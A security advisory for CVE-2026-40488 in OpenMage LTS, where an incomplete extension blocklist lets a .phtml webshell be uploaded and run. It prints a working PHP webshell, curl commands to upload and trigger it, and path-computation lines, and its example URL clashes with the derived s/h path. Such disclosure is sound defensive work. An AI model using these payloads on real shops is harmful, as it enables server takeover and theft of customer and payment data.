Vulnerability advisory

GHSA-3j5q-7q7h-2hhv

OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution

Published Updated OSV record ↗

Also known as CVE-2026-40488

Severity
  • CVSS 3.xCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected versions

Description

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

  • Project: OpenMage/magento-lts
  • Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
  • Vulnerable Lines: 230-237 (_validateUploadedFile())
  • Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:


<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:


php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result: [image: image]

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

[image: image]

Affected Deployments

Configuration Status
Apache + mod_php (with php_flag engine 0) SAFE
Apache + PHP-FPM VULNERABLE
Nginx (reference hardened config) SAFE
Nginx (generic config with .phtml→FPM) VULNERABLE

Impact

  1. Remote Code Execution: Full server compromise through webshell upload
  2. Data Exfiltration: Access to database credentials, customer PII, payment data
  3. Lateral Movement: Pivot to internal infrastructure
  4. Supply Chain: Inject malicious code into served content

References

  • Codex
  • Claude Code
  • VS Code
  • GitHub Copilot
  • Cursor
  • Cline
  • Windsurf
  • Google Anti-gravity
  • OpenCode
  • Pi
  • Gemini CLI
  • Hermes Agent
  • Zed
  • Junie
  • Qwen Code
  • Kiro
  • Kilo Code
  • Factory Droid

Set up GitHits for your agents

Run this command:

<> bash
npx githits@latest init

What happens next:

  1. Opens your browser to authorize GitHits
  2. Asks whether to set up GitHits at the user or project level
  3. Detects your supported AI coding tools
  4. Lets you choose which tools to configure
  5. Configures the selected tools